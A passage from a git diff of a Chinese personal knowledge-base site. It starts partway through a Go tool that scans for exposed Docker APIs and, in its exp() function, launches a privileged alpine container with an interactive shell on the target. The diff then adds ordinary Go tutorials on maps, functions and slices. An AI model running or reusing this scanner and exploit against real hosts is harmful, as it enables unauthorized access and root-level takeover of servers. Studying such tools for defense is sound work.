\/\_/\__| |____/__|___| /\_____ /
\______| \/ \/
Docker Api 未授权访问 `)
}
func urlHandler(target string) string {
if strings.HasSuffix(target, "/") { // 去掉后缀 /
target = strings.TrimSuffix(target, "/")
//fmt.Println(target)
}
if !strings.HasPrefix(target, "tcp") {
target = "tcp://" + target
}
if !strings.HasPrefix(target, "http") {
target = strings.Replace(target, "http", "tcp", -1)

}
if !strings.HasPrefix(target, "https") {
target = strings.Replace(target, "https", "tcp", -1)

}
regIp := regexp.MustCompile(`^[\d\.]+$`)
if len(regIp.FindAllString(target, -1)) > 0 {
regPort := regexp.MustCompile(`^(tcp://)?\d+\.\d+\.\d+\.\d+:\d+$`)
if len(regPort.FindAllString(target, -1)) == 0 {
target = target + ":80"
}
} else {
regPort := regexp.MustCompile(`^(tcp://)?.+:\d+$`)
if len(regPort.FindAllString(target, -1)) == 0 {
target = target + ":80"
}
}
return target
}
func checkArgs() {
if target != "" {
targets = append(targets, urlHandler(target))
}
if list != "" {
fmt.Println("正在打开文件")
filePath := list
file, err := os.Open(filePath)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file.Close()
//读原来文件的内容,并且显示在终端
reader := bufio.NewReader(file)
for {
target, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
if target != "" {
targets = append(targets, urlHandler(target))
}
break
}
}
//fmt.Printf("%#v\n", target)
target = strings.TrimSpace(target)
if target == "" {
continue
}
//fmt.Printf("%#v\n", target)
targets = append(targets, target)
}
}

if targets == nil {
flag.Usage()
os.Exit(0)
}
}
func check(t string, ch chan map[interface{}]interface{}) {
fmt.Println("开始检测目标 ", t)
b := func() (b map[interface{}]interface{}) {
b = map[interface{}]interface{}{}
cmd := exec.Command("docker", "-H", t, "ps")
checkSocksProxy(cmd)
//fmt.Println(cmd)
out, err := cmd.CombinedOutput()
if err != nil {
b[t] = false
return b
}
if strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {
b[t] = true
return b
} else {
b[t] = true
return b
}
}()
ch <- b
//wg.Done()
}
func exp() {
var t string
var i int
fmt.Println("请选择攻击目标")
for i, tar := range targets {
fmt.Println("目标:", tar, " , ", i)
}
if len(targets) == 1 {
t = targets[0]
} else {
_, err := fmt.Scanln(&i)
if err != nil {
t = targets[0]
}
}
t = targets[i]
cmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")
checkSocksProxy(cmd)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Start()
if err != nil {
return
}
err = cmd.Wait()
if err != nil {
fmt.Println("攻击利用失败")
return
}

}
func checkSocksProxy(cmd *exec.Cmd) {
if proxy == "" {
return
}
proxy = strings.TrimSpace(proxy)
if strings.HasPrefix(target, "http") {
fmt.Println("检查是否为socks(4、4a、5)代理")
os.Exit(-1)
}

var cmdEnv []string
cmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)
cmd.Env = cmdEnv
}
+

运行示例图​

+

image-20221227164823898

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-map/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-map/index.html new file mode 100644 index 0000000..3a45a56 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-map/index.html @@ -0,0 +1,64 @@ + + + + + +map | wjlin0 + + + + + + + +

map

+

map是一种无序的基于key-value的数据结构,Go语言中的map是引用类型,必须初始化才能使用。

+

map定义​

+

Go语言中 map的定义语法如下:

+
map[KeyType]ValueType
+

其中,

+
    +
  • KeyType:表示键的类型。
  • +
  • ValueType:表示键对应的值的类型。
  • +
+

map类型的变量默认初始值为nil,需要使用make()函数来分配内存。语法为:

+
make(map[KeyType]ValueType, [cap])
+

其中cap表示map的容量,该参数虽然不是必须的,但是我们应该在初始化map的时候就为其指定一个合适的容量。

+

map基本使用​

+

map中的数据都是成对出现的,map的基本使用示例代码如下:

+
func main() {
scoreMap := make(map[string]int, 8)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
fmt.Println(scoreMap)
fmt.Println(scoreMap["小明"])
fmt.Printf("type of a:%T\n", scoreMap)
}
+

输出:

+
map[小明:100 张三:90]
100
type of a:map[string]int
+

map也支持在声明的时候填充元素,例如:

+
func main() {
userInfo := map[string]string{
"username": "沙河小王子",
"password": "123456",
}
fmt.Println(userInfo) //
}
+

判断某个键是否存在​

+

Go语言中有个判断map中键是否存在的特殊写法,格式如下:

+
value, ok := map[key]
+

举个例子:

+
func main() {
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
// 如果key存在ok为true,v为对应的值;不存在ok为false,v为值类型的零值
v, ok := scoreMap["张三"]
if ok {
fmt.Println(v)
} else {
fmt.Println("查无此人")
}
}
+

map的遍历​

+

Go语言中使用for range遍历map。

+
func main() {
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
scoreMap["娜扎"] = 60
for k, v := range scoreMap {
fmt.Println(k, v)
}
}
+

但我们只想遍历key的时候,可以按下面的写法:

+
func main() {
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
scoreMap["娜扎"] = 60
for k := range scoreMap {
fmt.Println(k)
}
}
+

注意: 遍历map时的元素顺序与添加键值对的顺序无关。

+

使用delete()函数删除键值对​

+

使用delete()内建函数从map中删除一组键值对,delete()函数的格式如下:

+
delete(map, key)
+

其中,

+
    +
  • map:表示要删除键值对的map
  • +
  • key:表示要删除的键值对的键
  • +
+

示例代码如下:

+
func main(){
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
scoreMap["娜扎"] = 60
delete(scoreMap, "小明")//将小明:100从map中删除
for k,v := range scoreMap{
fmt.Println(k, v)
}
}
+

按照指定顺序遍历map​

+
func main() {
rand.Seed(time.Now().UnixNano()) //初始化随机数种子

var scoreMap = make(map[string]int, 200)

for i := 0; i < 100; i++ {
key := fmt.Sprintf("stu%02d", i) //生成stu开头的字符串
value := rand.Intn(100) //生成0~99的随机整数
scoreMap[key] = value
}
//取出map中的所有key存入切片keys
var keys = make([]string, 0, 200)
for key := range scoreMap {
keys = append(keys, key)
}
//对切片进行排序
sort.Strings(keys)
//按照排序后的key遍历map
for _, key := range keys {
fmt.Println(key, scoreMap[key])
}
}
+

元素为map类型的切片​

+

下面的代码演示了切片中的元素为map类型时的操作:

+
func main() {
var mapSlice = make([]map[string]string, 3)
for index, value := range mapSlice {
fmt.Printf("index:%d value:%v\n", index, value)
}
fmt.Println("after init")
// 对切片中的map元素进行初始化
mapSlice[0] = make(map[string]string, 10)
mapSlice[0]["name"] = "小王子"
mapSlice[0]["password"] = "123456"
mapSlice[0]["address"] = "沙河"
for index, value := range mapSlice {
fmt.Printf("index:%d value:%v\n", index, value)
}
}
+

值为切片类型的map​

+

下面的代码演示了map中值为切片类型的操作:

+
func main() {
var sliceMap = make(map[string][]string, 3)
fmt.Println(sliceMap)
fmt.Println("after init")
key := "中国"
value, ok := sliceMap[key]
if !ok {
value = make([]string, 0, 2)
}
value = append(value, "北京", "上海")
sliceMap[key] = value
fmt.Println(sliceMap)
}
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-函数/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-函数/index.html new file mode 100644 index 0000000..df216fd --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-函数/index.html @@ -0,0 +1,178 @@ + + + + + +函数 | wjlin0 + + + + + + + +

函数

+

Go语言中支持函数、匿名函数和闭包,并且函数在Go语言中属于“一等公民”。

+

函数定义​

+

Go语言中定义函数使用func关键字,具体格式如下:

+
func 函数名(参数)(返回值){
函数体
}
+

其中:

+
    +
  • 函数名:由字母、数字、下划线组成。但函数名的第一个字母不能是数字。在同一个包内,函数名也称不能重名(包的概念详见后文)。
  • +
  • 参数:参数由参数变量和参数变量的类型组成,多个参数之间使用,分隔。
  • +
  • 返回值:返回值由返回值变量和其变量类型组成,也可以只写返回值的类型,多个返回值必须用()包裹,并用,分隔。
  • +
  • 函数体:实现指定功能的代码块。
  • +
+

我们先来定义一个求两个数之和的函数:

+
func intSum(x int, y int) int {
return x + y
}
+

函数的参数和返回值都是可选的,例如我们可以实现一个既不需要参数也没有返回值的函数:

+
func sayHello() {
fmt.Println("Hello 沙河")
}
+

函数的调用​

+

定义了函数之后,我们可以通过函数名()的方式调用函数。 例如我们调用上面定义的两个函数,代码如下:

+
func main() {
sayHello()
ret := intSum(10, 20)
fmt.Println(ret)
}
+

注意,调用有返回值的函数时,可以不接收其返回值。

+

参数​

+

类型简写​

+

函数的参数中如果相邻变量的类型相同,则可以省略类型,例如:

+
func intSum(x, y int) int {
return x + y
}
+

上面的代码中,intSum函数有两个参数,这两个参数的类型均为int,因此可以省略x的类型,因为y后面有类型说明,x参数也是该类型。

+

可变参数​

+

可变参数是指函数的参数数量不固定。Go语言中的可变参数通过在参数名后加...来标识。

+

注意:可变参数通常要作为函数的最后一个参数。

+

举个例子:

+
func intSum2(x ...int) int {
fmt.Println(x) //x是一个切片
sum := 0
for _, v := range x {
sum = sum + v
}
return sum
}
+

调用上面的函数:

+
ret1 := intSum2()
ret2 := intSum2(10)
ret3 := intSum2(10, 20)
ret4 := intSum2(10, 20, 30)
fmt.Println(ret1, ret2, ret3, ret4) //0 10 30 60
+

固定参数搭配可变参数使用时,可变参数要放在固定参数的后面,示例代码如下:

+
func intSum3(x int, y ...int) int {
fmt.Println(x, y)
sum := x
for _, v := range y {
sum = sum + v
}
return sum
}
+

调用上述函数:

+
ret5 := intSum3(100)
ret6 := intSum3(100, 10)
ret7 := intSum3(100, 10, 20)
ret8 := intSum3(100, 10, 20, 30)
fmt.Println(ret5, ret6, ret7, ret8) //100 110 130 160
+

本质上,函数的可变参数是通过切片来实现的。

+

返回值​

+

Go语言中通过return关键字向外输出返回值。

+

多返回值​

+

Go语言中函数支持多返回值,函数如果有多个返回值时必须用()将所有返回值包裹起来。

+

举个例子:

+
func calc(x, y int) (int, int) {
sum := x + y
sub := x - y
return sum, sub
}
+

返回值命名​

+

函数定义时可以给返回值命名,并在函数体中直接使用这些变量,最后通过return关键字返回。

+

例如:

+
func calc(x, y int) (sum, sub int) {
sum = x + y
sub = x - y
return
}
+

返回值补充​

+

当我们的一个函数返回值类型为slice时,nil可以看做是一个有效的slice,没必要显示返回一个长度为0的切片。

+
func someFunc(x string) []int {
if x == "" {
return nil // 没必要返回[]int{}
}
...
}
+

函数进阶​

+

变量作用域​

+

全局变量​

+

全局变量是定义在函数外部的变量,它在程序整个运行周期内都有效。 在函数中可以访问到全局变量。

+
package main

import "fmt"

//定义全局变量num
var num int64 = 10

func testGlobalVar() {
fmt.Printf("num=%d\n", num) //函数中可以访问全局变量num
}
func main() {
testGlobalVar() //num=10
}
+

局部变量​

+

局部变量又分为两种: 函数内定义的变量无法在该函数外使用,例如下面的示例代码main函数中无法使用testLocalVar函数中定义的变量x:

+
func testLocalVar() {
//定义一个函数局部变量x,仅在该函数内生效
var x int64 = 100
fmt.Printf("x=%d\n", x)
}

func main() {
testLocalVar()
fmt.Println(x) // 此时无法使用变量x
}
+

如果局部变量和全局变量重名,优先访问局部变量。

+
package main

import "fmt"

//定义全局变量num
var num int64 = 10

func testNum() {
num := 100
fmt.Printf("num=%d\n", num) // 函数中优先使用局部变量
}
func main() {
testNum() // num=100
}
+

接下来我们来看一下语句块定义的变量,通常我们会在if条件判断、for循环、switch语句上使用这种定义变量的方式。

+
func testLocalVar2(x, y int) {
fmt.Println(x, y) //函数的参数也是只在本函数中生效
if x > 0 {
z := 100 //变量z只在if语句块生效
fmt.Println(z)
}
//fmt.Println(z)//此处无法使用变量z
}
+

还有我们之前讲过的for循环语句中定义的变量,也是只在for语句块中生效:

+
func testLocalVar3() {
for i := 0; i < 10; i++ {
fmt.Println(i) //变量i只在当前for语句块中生效
}
//fmt.Println(i) //此处无法使用变量i
}
+

函数类型与变量​

+

定义函数类型​

+

我们可以使用type关键字来定义一个函数类型,具体格式如下:

+
type calculation func(int, int) int
+

上面语句定义了一个calculation类型,它是一种函数类型,这种函数接收两个int类型的参数并且返回一个int类型的返回值。

+

简单来说,凡是满足这个条件的函数都是calculation类型的函数,例如下面的add和sub是calculation类型。

+
func add(x, y int) int {
return x + y
}

func sub(x, y int) int {
return x - y
}
+

add和sub都能赋值给calculation类型的变量。

+
var c calculation
c = add
+

函数类型变量​

+

我们可以声明函数类型的变量并且为该变量赋值:

+
func main() {
var c calculation // 声明一个calculation类型的变量c
c = add // 把add赋值给c
fmt.Printf("type of c:%T\n", c) // type of c:main.calculation
fmt.Println(c(1, 2)) // 像调用add一样调用c

f := add // 将函数add赋值给变量f
fmt.Printf("type of f:%T\n", f) // type of f:func(int, int) int
fmt.Println(f(10, 20)) // 像调用add一样调用f
}
+

高阶函数​

+

高阶函数分为函数作为参数和函数作为返回值两部分。

+

函数作为参数​

+

函数可以作为参数:

+
func add(x, y int) int {
return x + y
}
func calc(x, y int, op func(int, int) int) int {
return op(x, y)
}
func main() {
ret2 := calc(10, 20, add)
fmt.Println(ret2) //30
}
+

函数作为返回值​

+

函数也可以作为返回值:

+
func do(s string) (func(int, int) int, error) {
switch s {
case "+":
return add, nil
case "-":
return sub, nil
default:
err := errors.New("无法识别的操作符")
return nil, err
}
}
+

匿名函数和闭包​

+

匿名函数​

+

函数当然还可以作为返回值,但是在Go语言中函数内部不能再像之前那样定义函数了,只能定义匿名函数。匿名函数就是没有函数名的函数,匿名函数的定义格式如下:

+
func(参数)(返回值){
函数体
}
+

匿名函数因为没有函数名,所以没办法像普通函数那样调用,所以匿名函数需要保存到某个变量或者作为立即执行函数:

+
func main() {
// 将匿名函数保存到变量
add := func(x, y int) {
fmt.Println(x + y)
}
add(10, 20) // 通过变量调用匿名函数

//自执行函数:匿名函数定义完加()直接执行
func(x, y int) {
fmt.Println(x + y)
}(10, 20)
}
+

匿名函数多用于实现回调函数和闭包。

+

闭包​

+

闭包指的是一个函数和与其相关的引用环境组合而成的实体。简单来说,闭包=函数+引用环境。 首先我们来看一个例子:

+
func adder() func(int) int {
var x int
return func(y int) int {
x += y
return x
}
}
func main() {
var f = adder()
fmt.Println(f(10)) //10
fmt.Println(f(20)) //30
fmt.Println(f(30)) //60

f1 := adder()
fmt.Println(f1(40)) //40
fmt.Println(f1(50)) //90
}
+

变量f是一个函数并且它引用了其外部作用域中的x变量,此时f就是一个闭包。 在f的生命周期内,变量x也一直有效。 闭包进阶示例1:

+
func adder2(x int) func(int) int {
return func(y int) int {
x += y
return x
}
}
func main() {
var f = adder2(10)
fmt.Println(f(10)) //20
fmt.Println(f(20)) //40
fmt.Println(f(30)) //70

f1 := adder2(20)
fmt.Println(f1(40)) //60
fmt.Println(f1(50)) //110
}
+

闭包进阶示例2:

+
func makeSuffixFunc(suffix string) func(string) string {
return func(name string) string {
if !strings.HasSuffix(name, suffix) {
return name + suffix
}
return name
}
}

func main() {
jpgFunc := makeSuffixFunc(".jpg")
txtFunc := makeSuffixFunc(".txt")
fmt.Println(jpgFunc("test")) //test.jpg
fmt.Println(txtFunc("test")) //test.txt
}
+

闭包进阶示例3:

+
func calc(base int) (func(int) int, func(int) int) {
add := func(i int) int {
base += i
return base
}

sub := func(i int) int {
base -= i
return base
}
return add, sub
}

func main() {
f1, f2 := calc(10)
fmt.Println(f1(1), f2(2)) //11 9
fmt.Println(f1(3), f2(4)) //12 8
fmt.Println(f1(5), f2(6)) //13 7
}
+

闭包其实并不复杂,只要牢记闭包=函数+引用环境。

+

defer语句​

+

Go语言中的defer语句会将其后面跟随的语句进行延迟处理。在defer归属的函数即将返回时,将延迟处理的语句按defer定义的逆序进行执行,也就是说,先被defer的语句最后被执行,最后被defer的语句,最先被执行。

+

举个例子:

+
func main() {
fmt.Println("start")
defer fmt.Println(1)
defer fmt.Println(2)
defer fmt.Println(3)
fmt.Println("end")
}
+

输出结果:

+
start
end
3
2
1
+

由于defer语句延迟调用的特性,所以defer语句能非常方便的处理资源释放问题。比如:资源清理、文件关闭、解锁及记录时间等。

+

defer执行时机​

+

在Go语言的函数中return语句在底层并不是原子操作,它分为给返回值赋值和RET指令两步。而defer语句执行的时机就在返回值赋值操作后,RET指令执行前。具体如下图所示:defer执行时机

+

defer经典案例​

+

阅读下面的代码,写出最后的打印结果。

+
func f1() int {
x := 5
defer func() {
x++
}()
return x
}

func f2() (x int) {
defer func() {
x++
}()
return 5
}

func f3() (y int) {
x := 5
defer func() {
x++
}()
return x
}
func f4() (x int) {
defer func(x int) {
x++
}(x)
return 5
}
func main() {
fmt.Println(f1())
fmt.Println(f2())
fmt.Println(f3())
fmt.Println(f4())
}
+

defer面试题​

+
func calc(index string, a, b int) int {
ret := a + b
fmt.Println(index, a, b, ret)
return ret
}

func main() {
x := 1
y := 2
defer calc("AA", x, calc("A", x, y))
x = 10
defer calc("BB", x, calc("B", x, y))
y = 20
}
+

问,上面代码的输出结果是?(提示:defer注册要延迟执行的函数时该函数所有的参数都需要确定其值)

+

内置函数介绍​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内置函数介绍
close主要用来关闭channel
len用来求长度,比如string、array、slice、map、channel
new用来分配内存,主要用来分配值类型,比如int、struct。返回的是指针
make用来分配内存,主要用来分配引用类型,比如chan、map、slice
append用来追加元素到数组、slice中
panic和recover用来做错误处理
+

panic/recover​

+

Go语言中目前(Go1.12)是没有异常机制,但是使用panic/recover模式来处理错误。 panic可以在任何地方引发,但recover只有在defer调用的函数中有效。 首先来看一个例子:

+
func funcA() {
fmt.Println("func A")
}

func funcB() {
panic("panic in B")
}

func funcC() {
fmt.Println("func C")
}
func main() {
funcA()
funcB()
funcC()
}
+

输出:

+
func A
panic: panic in B

goroutine 1 [running]:
main.funcB(...)
.../code/func/main.go:12
main.main()
.../code/func/main.go:20 +0x98
+

程序运行期间funcB中引发了panic导致程序崩溃,异常退出了。这个时候我们就可以通过recover将程序恢复回来,继续往后执行。

+
func funcA() {
fmt.Println("func A")
}

func funcB() {
defer func() {
err := recover()
//如果程序出出现了panic错误,可以通过recover恢复过来
if err != nil {
fmt.Println("recover in B")
}
}()
panic("panic in B")
}

func funcC() {
fmt.Println("func C")
}
func main() {
funcA()
funcB()
funcC()
}
+

注意:

+
    +
  1. recover()必须搭配defer使用。
  2. +
  3. defer一定要在可能引发panic的语句之前定义。
  4. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-切片/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-切片/index.html new file mode 100644 index 0000000..3c882ca --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-切片/index.html @@ -0,0 +1,141 @@ + + + + + +Go语言基础之切片 | wjlin0 + + + + + + + +

Go语言基础之切片

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:59:42
+

切片(Slice)是一个拥有相同类型元素的可变长度的序列。它是基于数组类型做的一层封装。它非常灵活,支持自动扩容。

+

切片是一个引用类型,它的内部结构包含地址、长度和容量。切片一般用于快速地操作一块数据集合。

+

切片的定义​

+

声明切片类型的基本语法如下:

+
var name []T
+

其中,

+
    +
  • name:表示变量名
  • +
  • T:表示切片中的元素类型
  • +
+

举个例子:

+
func main() {
// 声明切片类型
var a []string //声明一个字符串切片
var b = []int{} //声明一个整型切片并初始化
var c = []bool{false, true} //声明一个布尔切片并初始化
var d = []bool{false, true} //声明一个布尔切片并初始化
fmt.Println(a) //[]
fmt.Println(b) //[]
fmt.Println(c) //[false true]
fmt.Println(a == nil) //true
fmt.Println(b == nil) //false
fmt.Println(c == nil) //false
// fmt.Println(c == d) //切片是引用类型,不支持直接比较,只能和nil比较
}
+

切片的长度和容量​

+

切片拥有自己的长度和容量,我们可以通过使用内置的len()函数求长度,使用内置的cap()函数求切片的容量。

+

切片表达式​

+

切片表达式从字符串、数组、指向数组或切片的指针构造子字符串或切片。它有两种变体:一种指定low和high两个索引界限值的简单的形式,另一种是除了low和high索引界限值外还指定容量的完整的形式。

+

简单切片表达式​

+

切片的底层就是一个数组,所以我们可以基于数组通过切片表达式得到切片。 切片表达式中的low和high表示一个索引范围(左包含,右不包含),也就是下面代码中从数组a中选出1<=索引值<4的元素组成切片s,得到的切片长度=high-low,容量等于得到的切片的底层数组的容量。

+
func main() {
a := [5]int{1, 2, 3, 4, 5}
s := a[1:3] // s := a[low:high]
fmt.Printf("s:%v len(s):%v cap(s):%v\n", s, len(s), cap(s))
}
+

输出:

+
s:[2 3] len(s):2 cap(s):4
+

为了方便起见,可以省略切片表达式中的任何索引。省略了low则默认为0;省略了high则默认为切片操作数的长度:

+
a[2:]  // 等同于 a[2:len(a)]
a[:3] // 等同于 a[0:3]
a[:] // 等同于 a[0:len(a)]
+

注意:

+

对于数组或字符串,如果0 <= low <= high <= len(a),则索引合法,否则就会索引越界(out of range)。

+

对切片再执行切片表达式时(切片再切片),high的上限边界是切片的容量cap(a),而不是长度。常量索引必须是非负的,并且可以用int类型的值表示;对于数组或常量字符串,常量索引也必须在有效范围内。如果low和high两个指标都是常数,它们必须满足low <= high。如果索引在运行时超出范围,就会发生运行时panic。

+
func main() {
a := [5]int{1, 2, 3, 4, 5}
s := a[1:3] // s := a[low:high]
fmt.Printf("s:%v len(s):%v cap(s):%v\n", s, len(s), cap(s))
s2 := s[3:4] // 索引的上限是cap(s)而不是len(s)
fmt.Printf("s2:%v len(s2):%v cap(s2):%v\n", s2, len(s2), cap(s2))
}
+

输出:

+
s:[2 3] len(s):2 cap(s):4
s2:[5] len(s2):1 cap(s2):1
+

完整切片表达式​

+

对于数组,指向数组的指针,或切片a(注意不能是字符串)支持完整切片表达式:

+
a[low : high : max]
+

上面的代码会构造与简单切片表达式a[low: high]相同类型、相同长度和元素的切片。另外,它会将得到的结果切片的容量设置为max-low。在完整切片表达式中只有第一个索引值(low)可以省略;它默认为0。

+
func main() {
a := [5]int{1, 2, 3, 4, 5}
t := a[1:3:5]
fmt.Printf("t:%v len(t):%v cap(t):%v\n", t, len(t), cap(t))
}
+

输出结果:

+
t:[2 3] len(t):2 cap(t):4
+

完整切片表达式需要满足的条件是0 <= low <= high <= max <= cap(a),其他条件和简单切片表达式相同。

+

使用make()函数构造切片​

+

我们上面都是基于数组来创建的切片,如果需要动态的创建一个切片,我们就需要使用内置的make()函数,格式如下:

+
make([]T, size, cap)
+

其中:

+
    +
  • T:切片的元素类型
  • +
  • size:切片中元素的数量
  • +
  • cap:切片的容量
  • +
+

举个例子:

+
func main() {
a := make([]int, 2, 10)
fmt.Println(a) //[0 0]
fmt.Println(len(a)) //2
fmt.Println(cap(a)) //10
}
+

上面代码中a的内部存储空间已经分配了10个,但实际上只用了2个。 容量并不会影响当前元素的个数,所以len(a)返回2,cap(a)则返回该切片的容量。

+

切片的本质​

+

切片的本质就是对底层数组的封装,它包含了三个信息:底层数组的指针、切片的长度(len)和切片的容量(cap)。

+

举个例子,现在有一个数组a := [8]int{0, 1, 2, 3, 4, 5, 6, 7},切片s1 := a[:5],相应示意图如下。slice_01切片s2 := a[3:6],相应示意图如下:slice_02

+

判断切片是否为空​

+

要检查切片是否为空,请始终使用len(s) == 0来判断,而不应该使用s == nil来判断。

+

切片不能直接比较​

+

切片之间是不能比较的,我们不能使用==操作符来判断两个切片是否含有全部相等元素。 切片唯一合法的比较操作是和nil比较。 一个nil值的切片并没有底层数组,一个nil值的切片的长度和容量都是0。但是我们不能说一个长度和容量都是0的切片一定是nil,例如下面的示例:

+
var s1 []int         //len(s1)=0;cap(s1)=0;s1==nil
s2 := []int{} //len(s2)=0;cap(s2)=0;s2!=nil
s3 := make([]int, 0) //len(s3)=0;cap(s3)=0;s3!=nil
+

所以要判断一个切片是否是空的,要是用len(s) == 0来判断,不应该使用s == nil来判断。

+

切片的赋值拷贝​

+

下面的代码中演示了拷贝前后两个变量共享底层数组,对一个切片的修改会影响另一个切片的内容,这点需要特别注意。

+
func main() {
s1 := make([]int, 3) //[0 0 0]
s2 := s1 //将s1直接赋值给s2,s1和s2共用一个底层数组
s2[0] = 100
fmt.Println(s1) //[100 0 0]
fmt.Println(s2) //[100 0 0]
}
+

切片遍历​

+

切片的遍历方式和数组是一致的,支持索引遍历和for range遍历。

+
func main() {
s := []int{1, 3, 5}

for i := 0; i < len(s); i++ {
fmt.Println(i, s[i])
}

for index, value := range s {
fmt.Println(index, value)
}
}
+

append()方法为切片添加元素​

+

Go语言的内建函数append()可以为切片动态添加元素。 可以一次添加一个元素,可以添加多个元素,也可以添加另一个切片中的元素(后面加…)。

+
func main(){
var s []int
s = append(s, 1) // [1]
s = append(s, 2, 3, 4) // [1 2 3 4]
s2 := []int{5, 6, 7}
s = append(s, s2...) // [1 2 3 4 5 6 7]
}
+

**注意:**通过var声明的零值切片可以在append()函数直接使用,无需初始化。

+
var s []int
s = append(s, 1, 2, 3)
+

没有必要像下面的代码一样初始化一个切片再传入append()函数使用,

+
s := []int{}  // 没有必要初始化
s = append(s, 1, 2, 3)

var s = make([]int) // 没有必要初始化
s = append(s, 1, 2, 3)
+

每个切片会指向一个底层数组,这个数组的容量够用就添加新增元素。当底层数组不能容纳新增的元素时,切片就会自动按照一定的策略进行“扩容”,此时该切片指向的底层数组就会更换。“扩容”操作往往发生在append()函数调用时,所以我们通常都需要用原变量接收append函数的返回值。

+

举个例子:

+
func main() {
//append()添加元素和切片扩容
var numSlice []int
for i := 0; i < 10; i++ {
numSlice = append(numSlice, i)
fmt.Printf("%v len:%d cap:%d ptr:%p\n", numSlice, len(numSlice), cap(numSlice), numSlice)
}
}
+

输出:

+
[0]  len:1  cap:1  ptr:0xc0000a8000
[0 1] len:2 cap:2 ptr:0xc0000a8040
[0 1 2] len:3 cap:4 ptr:0xc0000b2020
[0 1 2 3] len:4 cap:4 ptr:0xc0000b2020
[0 1 2 3 4] len:5 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5] len:6 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5 6] len:7 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5 6 7] len:8 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5 6 7 8] len:9 cap:16 ptr:0xc0000b8000
[0 1 2 3 4 5 6 7 8 9] len:10 cap:16 ptr:0xc0000b8000
+

从上面的结果可以看出:

+
    +
  1. append()函数将元素追加到切片的最后并返回该切片。
  2. +
  3. 切片numSlice的容量按照1,2,4,8,16这样的规则自动进行扩容,每次扩容后都是扩容前的2倍。
  4. +
+

append()函数还支持一次性追加多个元素。 例如:

+
var citySlice []string
// 追加一个元素
citySlice = append(citySlice, "北京")
// 追加多个元素
citySlice = append(citySlice, "上海", "广州", "深圳")
// 追加切片
a := []string{"成都", "重庆"}
citySlice = append(citySlice, a...)
fmt.Println(citySlice) //[北京 上海 广州 深圳 成都 重庆]
+

切片的扩容策略​

+

可以通过查看$GOROOT/src/runtime/slice.go源码,其中扩容相关代码如下:

+
newcap := old.cap
doublecap := newcap + newcap
if cap > doublecap {
newcap = cap
} else {
if old.len < 1024 {
newcap = doublecap
} else {
// Check 0 < newcap to detect overflow
// and prevent an infinite loop.
for 0 < newcap && newcap < cap {
newcap += newcap / 4
}
// Set newcap to the requested cap when
// the newcap calculation overflowed.
if newcap <= 0 {
newcap = cap
}
}
}
+

从上面的代码可以看出以下内容:

+
    +
  • 首先判断,如果新申请容量(cap)大于2倍的旧容量(old.cap),最终容量(newcap)就是新申请的容量(cap)。
  • +
  • 否则判断,如果旧切片的长度小于1024,则最终容量(newcap)就是旧容量(old.cap)的两倍,即(newcap=doublecap),
  • +
  • 否则判断,如果旧切片长度大于等于1024,则最终容量(newcap)从旧容量(old.cap)开始循环增加原来的1/4,即(newcap=old.cap,for {newcap += newcap/4})直到最终容量(newcap)大于等于新申请的容量(cap),即(newcap >= cap)
  • +
  • 如果最终容量(cap)计算值溢出,则最终容量(cap)就是新申请容量(cap)。
  • +
+

需要注意的是,切片扩容还会根据切片中元素的类型不同而做不同的处理,比如int和string类型的处理方式就不一样。

+

使用copy()函数复制切片​

+

首先我们来看一个问题:

+
func main() {
a := []int{1, 2, 3, 4, 5}
b := a
fmt.Println(a) //[1 2 3 4 5]
fmt.Println(b) //[1 2 3 4 5]
b[0] = 1000
fmt.Println(a) //[1000 2 3 4 5]
fmt.Println(b) //[1000 2 3 4 5]
}
+

由于切片是引用类型,所以a和b其实都指向了同一块内存地址。修改b的同时a的值也会发生变化。

+

Go语言内建的copy()函数可以迅速地将一个切片的数据复制到另外一个切片空间中,copy()函数的使用格式如下:

+
copy(destSlice, srcSlice []T)
+

其中:

+
    +
  • srcSlice: 数据来源切片
  • +
  • destSlice: 目标切片
  • +
+

举个例子:

+
func main() {
// copy()复制切片
a := []int{1, 2, 3, 4, 5}
c := make([]int, 5, 5)
copy(c, a) //使用copy()函数将切片a中的元素复制到切片c
fmt.Println(a) //[1 2 3 4 5]
fmt.Println(c) //[1 2 3 4 5]
c[0] = 1000
fmt.Println(a) //[1 2 3 4 5]
fmt.Println(c) //[1000 2 3 4 5]
}
+

从切片中删除元素​

+

Go语言中并没有删除切片元素的专用方法,我们可以使用切片本身的特性来删除元素。 代码如下:

+
func main() {
// 从切片中删除元素
a := []int{30, 31, 32, 33, 34, 35, 36, 37}
// 要删除索引为2的元素
a = append(a[:2], a[3:]...)
fmt.Println(a) //[30 31 33 34 35 36 37]
}
+

总结一下就是:要从切片a中删除索引为index的元素,操作方法是a = append(a[:index], a[index+1:]...)

